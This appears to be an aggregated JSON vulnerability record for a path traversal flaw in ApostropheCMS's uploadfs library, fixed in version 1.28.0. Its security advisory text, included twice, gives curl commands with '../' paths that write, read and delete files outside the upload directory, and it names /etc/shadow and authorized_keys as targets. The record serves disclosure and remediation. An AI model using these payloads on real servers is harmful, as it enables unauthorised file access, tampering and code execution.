{"id":"CVE-2026-113651","aliases":["EUVD-2026-105177","GHSA-gmfx-5g6x-rr72"],"status":"published","title":"ApostropheCMS: Path traversal in uploadfs","description":"ApostropheCMS is an open-source Node.js content management system, and uploadfs is its file storage library. Prior to uploadfs 1.28.0, attacker-controlled paths that reach the local backend can contain parent-directory segments that escape the configured upload directory and affect file reads, writes, and deletion on the host filesystem. Exploitability depends on an application exposing the relevant uploadfs operations to untrusted path. This issue is fixed in uploadfs 1.28.0.","severity":{"version":"3.1","score":3.3,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N","level":"low","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00328,"percentile":0.26268,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22"],"published":"2026-10-20T16:22:30Z","modified":"2026-11-11T02:48:45Z","fixes":[{"ecosystem":"npm","package":"uploadfs","fixed_in":["1.28.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"uploadfs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.28.0"}]}]},{"source":"osv","ecosystem":"npm","package":"uploadfs","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.28.0"}]}]}],"products":[{"vendor":"apostrophecms","product":"apostrophe"},{"vendor":"apostrophecms","product":"uploadfs"}],"references":[{"url":"https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-gmfx-5g6x-rr72","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/apostrophecms/apostrophe/releases/tag/uploadfs@1.28.0","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-gmfx-5g6x-rr72"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/113xxx/CVE-2026-113651.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113651","tags":["advisory"]},{"url":"https://github.com/apostrophecms/apostrophe","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-113651","title":"ApostropheCMS: Path traversal in uploadfs","description":"ApostropheCMS is an open-source Node.js content management system, and uploadfs is its file storage library. Prior to uploadfs 1.28.0, attacker-controlled paths that reach the local backend can contain parent-directory segments that escape the configured upload directory and affect file reads, writes, and deletion on the host filesystem. Exploitability depends on an application exposing the relevant uploadfs operations to untrusted path. This issue is fixed in uploadfs 1.28.0.","status":"published","published":"2026-10-20T16:22:30.842Z","modified":"2026-10-20T17:20:31.152Z","cvss":[{"version":"3.1","score":3.3,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N","level":"low","assessor":"cna"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T13:44:29.519518Z"}],"euvd":[{"id":"EUVD-2026-105177","description":"ApostropheCMS is an open-source Node.js content management system, and uploadfs is its file storage library. Prior to uploadfs 1.28.0, attacker-controlled paths that reach the local backend can contain parent-directory segments that escape the configured upload directory and affect file reads, writes, and deletion on the host filesystem. Exploitability depends on an application exposing the relevant uploadfs operations to untrusted path. This issue is fixed in uploadfs 1.28.0.","status":"published","published":"2026-10-20T16:22:30Z","modified":"2026-10-20T17:20:31Z","cvss":[{"version":"3.1","score":3.3,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N","level":"low"}],"updated_at":"2026-11-02T16:59:43.600473Z"}],"ghsa":[{"id":"GHSA-gmfx-5g6x-rr72","title":"ApostropheCMS: Path traversal in uploadfs","description":"## Summary\nThe `uploadfs` library's local storage backend does not validate or sanitize user-supplied paths. The `prefixPath()` helper only strips double slashes (`//`) and the backend performs direct string concatenation (`uploadsPath + path`). An attacker can inject `../` sequences to escape the intended uploads directory, resulting in arbitrary file read, write, and delete on the host filesystem.\n\n---\n\n## Details\n\n### Root Cause\n`packages/uploadfs/uploadfs.js:652-655`\n\nhttps://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/uploadfs.js#L652-L655\n\n```javascript\nfunction prefixPath(path) {\n    // Resolve any double // that results from the prefix\n    return (self.prefix + path).replace(/\\/\\//g, '/');\n}\n```\n\n`packages/uploadfs/lib/storage/local.js`\n\nhttps://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L92-L95\nhttps://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L102-L104\nhttps://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L106-L108\n\n\n```javascript\ncopyIn: function(localPath, path, options, callback) {\n    const uploadPath = uploadsPath + path;  // [VULNERABLE]\n    return copyFile(localPath, uploadPath, callback);\n},\nstreamOut: function(path, options) {\n    return fs.createReadStream(uploadsPath + path);  // [VULNERABLE]\n},\nremove: function(path, callback) {\n    const uploadPath = uploadsPath + path;  // [VULNERABLE]\n    fs.unlink(uploadPath, callback);\n```\n\n- `prefixPath()` does **not** normalize paths or reject `../`.\n- The local backend concatenates the path directly into the filesystem call.\n- Node.js resolves `/app/uploads/../../../tmp/pwned.txt` → `/tmp/pwned.txt`.\n\n---\n\n## Proof of Concept (PoC)\n\nHere is the poc files \nhttps://drive.proton.me/urls/AKY4V5S0JR#Vw6XJdVCZafk\n\n### Build and run\n```bash\ndocker load \u003c apostrophe-uploadfs-poc.tar\ndocker run -d -p 3000:3000 --name uploadfs-poc apostrophe-uploadfs-poc\npython3 exploit.py\n```\n\n### Expected output\n```text\n[UPLOAD] Status: 200 | Body: Uploaded to ../../../tmp/pwned.txt\n[READ]\nStatus: 200| Body: You have been pwned!\n[+] Vulnerability confirmed: arbitrary file write/read/delete via path traversal.\n```\n\n\u003cimg width=\"885\" height=\"171\" alt=\"Screenshot 2026-07-22 at 08 57 46\" src=\"https://github.com/user-attachments/assets/1b3ab5d5-43e4-4a81-8d19-c2270da072ae\" /\u003e\n\n### Manual reproduction\n```bash\n# Write outside uploads directory\ncurl -X POST http://localhost:3000/upload \\\n  -F \"path=../../../tmp/backdoor.txt\" \\\n  -F \"file=@-;filename=backdoor.txt\" \u003c\u003c\u003c \"malicious content\"\n\n# Read it back\ncurl \"http://localhost:3000/read?path=../../../tmp/backdoor.txt\"\n\n# Delete it\ncurl -X DELETE \"http://localhost:3000/remove?path=../../../tmp/backdoor.txt\"\n```\n\n\u003cimg width=\"1004\" height=\"114\" alt=\"Screenshot 2026-07-22 at 08 58 36\" src=\"https://github.com/user-attachments/assets/26b59a98-1834-4f00-8e18-c869812ddd58\" /\u003e\n\n---\n\n## Impact\n\n| Capability | Risk |\n|------------|------|\n| **Arbitrary File Write** | Write to `/etc/cron.d/`, `.ssh/authorized_keys`, or webroot files → **Remote Code Execution** |\n| **Arbitrary File Read** | Exfiltrate `/etc/shadow`, application configs, database credentials |\n| **Arbitrary File Delete** | Destroy system or application files → **Denial of Service** |\n\n---\n\n## Remediation\n\nAdd path containment validation inside `uploadfs` (and every storage backend) before any filesystem operation:\n\n```javascript\nconst path = require('path');\nfunction safePath(base, target) {\n  const resolved = path.resolve(base, target);\n  if (!resolved.startsWith(path.resolve(base) + path.sep)) {\n    throw new Error('Path traversal blocked: target is outside the intended directory');\n  }\n  return resolved;\n}\n```","status":"published","published":"2026-10-20T18:21:59Z","modified":"2026-10-20T18:22:01Z","cvss":[{"version":"3.1","score":3.3,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N","level":"low"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:41:33.669646Z"}],"nvd":[{"id":"CVE-2026-113651","description":"ApostropheCMS is an open-source Node.js content management system, and uploadfs is its file storage library. Prior to uploadfs 1.28.0, attacker-controlled paths that reach the local backend can contain parent-directory segments that escape the configured upload directory and affect file reads, writes, and deletion on the host filesystem. Exploitability depends on an application exposing the relevant uploadfs operations to untrusted path. This issue is fixed in uploadfs 1.28.0.","status":"published","published":"2026-10-20T17:17:35.94Z","modified":"2026-10-20T19:53:10.247Z","cvss":[{"version":"3.1","score":3.3,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N","level":"low","assessor":"secondary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:13:01.161484Z"}],"osv":[{"id":"CVE-2026-113651","title":"ApostropheCMS: Path traversal in uploadfs","description":"ApostropheCMS is an open-source Node.js content management system, and uploadfs is its file storage library. Prior to uploadfs 1.28.0, attacker-controlled paths that reach the local backend can contain parent-directory segments that escape the configured upload directory and affect file reads, writes, and deletion on the host filesystem. Exploitability depends on an application exposing the relevant uploadfs operations to untrusted path. This issue is fixed in uploadfs 1.28.0.","status":"published","published":"2026-10-20T16:22:30.842Z","modified":"2026-11-11T10:47:24.93163298Z","cvss":[{"version":"3.1","score":3.3,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N","level":"low"}],"cwes":["CWE-22"],"updated_at":"2026-11-11T03:22:00.901153Z"},{"id":"GHSA-gmfx-5g6x-rr72","title":"ApostropheCMS: Path traversal in uploadfs","description":"## Summary\nThe `uploadfs` library's local storage backend does not validate or sanitize user-supplied paths. The `prefixPath()` helper only strips double slashes (`//`) and the backend performs direct string concatenation (`uploadsPath + path`). An attacker can inject `../` sequences to escape the intended uploads directory, resulting in arbitrary file read, write, and delete on the host filesystem.\n\n---\n\n## Details\n\n### Root Cause\n`packages/uploadfs/uploadfs.js:652-655`\n\nhttps://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/uploadfs.js#L652-L655\n\n```javascript\nfunction prefixPath(path) {\n    // Resolve any double // that results from the prefix\n    return (self.prefix + path).replace(/\\/\\//g, '/');\n}\n```\n\n`packages/uploadfs/lib/storage/local.js`\n\nhttps://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L92-L95\nhttps://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L102-L104\nhttps://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L106-L108\n\n\n```javascript\ncopyIn: function(localPath, path, options, callback) {\n    const uploadPath = uploadsPath + path;  // [VULNERABLE]\n    return copyFile(localPath, uploadPath, callback);\n},\nstreamOut: function(path, options) {\n    return fs.createReadStream(uploadsPath + path);  // [VULNERABLE]\n},\nremove: function(path, callback) {\n    const uploadPath = uploadsPath + path;  // [VULNERABLE]\n    fs.unlink(uploadPath, callback);\n```\n\n- `prefixPath()` does **not** normalize paths or reject `../`.\n- The local backend concatenates the path directly into the filesystem call.\n- Node.js resolves `/app/uploads/../../../tmp/pwned.txt` → `/tmp/pwned.txt`.\n\n---\n\n## Proof of Concept (PoC)\n\nHere is the poc files \nhttps://drive.proton.me/urls/AKY4V5S0JR#Vw6XJdVCZafk\n\n### Build and run\n```bash\ndocker load \u003c apostrophe-uploadfs-poc.tar\ndocker run -d -p 3000:3000 --name uploadfs-poc apostrophe-uploadfs-poc\npython3 exploit.py\n```\n\n### Expected output\n```text\n[UPLOAD] Status: 200 | Body: Uploaded to ../../../tmp/pwned.txt\n[READ]\nStatus: 200| Body: You have been pwned!\n[+] Vulnerability confirmed: arbitrary file write/read/delete via path traversal.\n```\n\n\u003cimg width=\"885\" height=\"171\" alt=\"Screenshot 2026-07-22 at 08 57 46\" src=\"https://github.com/user-attachments/assets/1b3ab5d5-43e4-4a81-8d19-c2270da072ae\" /\u003e\n\n### Manual reproduction\n```bash\n# Write outside uploads directory\ncurl -X POST http://localhost:3000/upload \\\n  -F \"path=../../../tmp/backdoor.txt\" \\\n  -F \"file=@-;filename=backdoor.txt\" \u003c\u003c\u003c \"malicious content\"\n\n# Read it back\ncurl \"http://localhost:3000/read?path=../../../tmp/backdoor.txt\"\n\n# Delete it\ncurl -X DELETE \"http://localhost:3000/remove?path=../../../tmp/backdoor.txt\"\n```\n\n\u003cimg width=\"1004\" height=\"114\" alt=\"Screenshot 2026-07-22 at 08 58 36\" src=\"https://github.com/user-attachments/assets/26b59a98-1834-4f00-8e18-c869812ddd58\" /\u003e\n\n---\n\n## Impact\n\n| Capability | Risk |\n|------------|------|\n| **Arbitrary File Write** | Write to `/etc/cron.d/`, `.ssh/authorized_keys`, or webroot files → **Remote Code Execution** |\n| **Arbitrary File Read** | Exfiltrate `/etc/shadow`, application configs, database credentials |\n| **Arbitrary File Delete** | Destroy system or application files → **Denial of Service** |\n\n---\n\n## Remediation\n\nAdd path containment validation inside `uploadfs` (and every storage backend) before any filesystem operation:\n\n```javascript\nconst path = require('path');\nfunction safePath(base, target) {\n  const resolved = path.resolve(base, target);\n  if (!resolved.startsWith(path.resolve(base) + path.sep)) {\n    throw new Error('Path traversal blocked: target is outside the intended directory');\n  }\n  return resolved;\n}\n```","status":"published","published":"2026-10-20T18:21:59Z","modified":"2026-10-20T18:30:03.588737115Z","cvss":[{"version":"3.1","score":3.3,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N","level":"low"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:47.822182Z"}]}}
